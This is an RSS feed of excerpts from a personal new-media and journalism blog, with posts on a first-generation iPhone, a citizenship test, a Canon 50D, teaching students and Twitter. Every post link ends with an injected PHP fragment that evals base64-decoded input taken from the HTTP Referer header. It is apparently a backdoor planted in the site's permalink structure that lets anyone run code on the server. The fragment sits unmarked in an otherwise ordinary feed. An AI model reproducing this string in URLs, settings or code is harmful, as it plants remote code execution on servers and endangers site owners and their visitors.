http://www.news-geek.com/blog Fri, 05 Mar 2010 21:14:50 +0000 http://backend.userland.com/rss092 en I wonder if I'm the only Apple-centric new-media geek on the planet who still has a first-generation iPhone. I know that my friends in the biz often laugh at me for it, but why? Anyone who understands anything about Apple knows that the company prides itself on computability. Every time ... http://www.news-geek.com/blog/2010/03/04/testing-qik-on-a-first-generation-iphone/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well, as many of you know, I'm finally up for American citizenship! I've been in the States since I was 9, so it only took, oh, 18 years to get this far. While I'll surely miss my shiny little green card and my Canadian passport, I'll be thrilled to finally ... http://www.news-geek.com/blog/2010/01/29/could-the-citizens-pass-the-citizenship-test/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ After agonizing over which DSLR might be right for me, I recently settled on the Canon 50D. I have to say, I have no regrets. I'm by all accounts a novice photographer, but I enjoy photography and I think that's what really matters. If you know what you like, you'll ... http://www.news-geek.com/blog/2009/12/29/photography-and-the-canon-50d/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well, despite the career change, I do keep my ear to the ground for new media tools. Right now, I'm interested in Stupeflix, a really simple to use audio-slide show tool that lets you create seamless videos in Flash and for YouTube in a matter of minutes. While Stupeflix is ... http://www.news-geek.com/blog/2009/09/21/stupeflix-and-a-day-in-the-life-of-herbie-the-miniature-dachshund/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ As some of you already know, my husband and I decided to leave our fast-paced careers and enter into the family business of hotels a few months ago. It was a tough decision, but ultimately a good one (at least for now). So in May, he said goodbye to software ... http://www.news-geek.com/blog/2009/07/15/no-checks-please/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Ahh, the World Wide Web. It's a marvel of modern technology, to be sure. And like the steam engine and the jet engine before it, the Web-based search engine has allowed man to explore the vast reaches of the world around him--and the many worlds beyond. Furthermore--ah, forget it. All ... http://www.news-geek.com/blog/2009/06/24/parking-fail-or-pompous-musings-on-what-the-web-means-to-me/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This has been quite a busy semester for my Multimedia Journalism students. They've gone from having little (if any) experience with HTML and online media to building and designing their own Web sites. Additionally, they've all created fabulous slide shows, audio-stills features, interactive maps, Web video, and so much more ... http://www.news-geek.com/blog/2009/04/13/live-coverage-marathon-monday/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ House and Senate leaders introduced legislation yesterday that would establish a federal ban on bisphenol A (or BPA, a toxic chemical linked to heart disease and diabetes) in all food and beverage containers. Click to view a NOVA audio slide show I conducted with BPA expert Dana Dolinoy This move ... http://www.news-geek.com/blog/2009/03/14/bills-would-ban-bpa-from-food-and-drink-containers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The headline says it all. My multimedia journalism student, Ashlie Anctil, is streaming live from spring break at Walt Disney World. The show begins at 3:45 p.m., EST. Online TV Shows by Ustream http://www.news-geek.com/blog/2009/03/12/streaming-live-from-walt-disney-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ In case you haven't heard, the members of U2 are taking cues from The Beatles these days and putting on "secret" concerts. Bono and the gang played one show last night at Davis Square's Somerville Theatre, a mere ten-minute walk from my home and one of the tiniest non-bar venues ... http://www.news-geek.com/blog/2009/03/12/bu-student-reports-on-secret-boston-u2-concert-and-gets-on-headline-news/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A little over two months ago, I reported on the Pew Research Center's discovery that the internet has finally overtaken newspapers as a leading news source, and how journalists disparate to keep their jobs are now willing--even eager--to learn new skills in multimedia. This new attitude toward the Web as ... http://www.news-geek.com/blog/2009/03/04/kiyoshi-martinez-americas-most-famous-angry-journalist-on-our-struggling-industry/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I've learned several surprising things in the two days since asking, "What's so appealing about Twitter?" Among them: Lots of celebrities use Twitter and if you follow enough of them, some will eventually start following you back. This is the case with Yoko Ono, who not only supposedly reads my Tweets ... http://www.news-geek.com/blog/2009/02/25/twitter-from-the-cool-to-the-completely-insane/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A few months back, I downloaded a few Twitter applications for my iPhone. Yes, more than one. I do that a lot with (free) apps since it's the only way I can figure out which ones are right for me. When you use as many Web tools as I do ... http://www.news-geek.com/blog/2009/02/23/twitter-ranks-third-among-social-networking-sites-but-whats-the-appeal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Kudos to Steve Garfield and my student, Nick, for this great on-the-fly chat about new media tools for journalists. Steve interviewed Nick today during the discussion section immediately following our class. You can listen to the clip right here: Using only his cell phone, Steve had the above report and Nick's ... http://www.news-geek.com/blog/2009/02/17/new-media-tools-for-budding-journalists/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ There's an "Angry Journalist" (specifically Angry Journalist #8010) out there who has come up with an interesting solution for preventing bloggers from stealing his/her content (let's just say "his" for the sake of simplicity). Of course, by "interesting" I mean "insane," but more on that later. Here's what he writes: ... http://www.news-geek.com/blog/2009/02/13/angry-journalist-versus-blogger-thieves/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/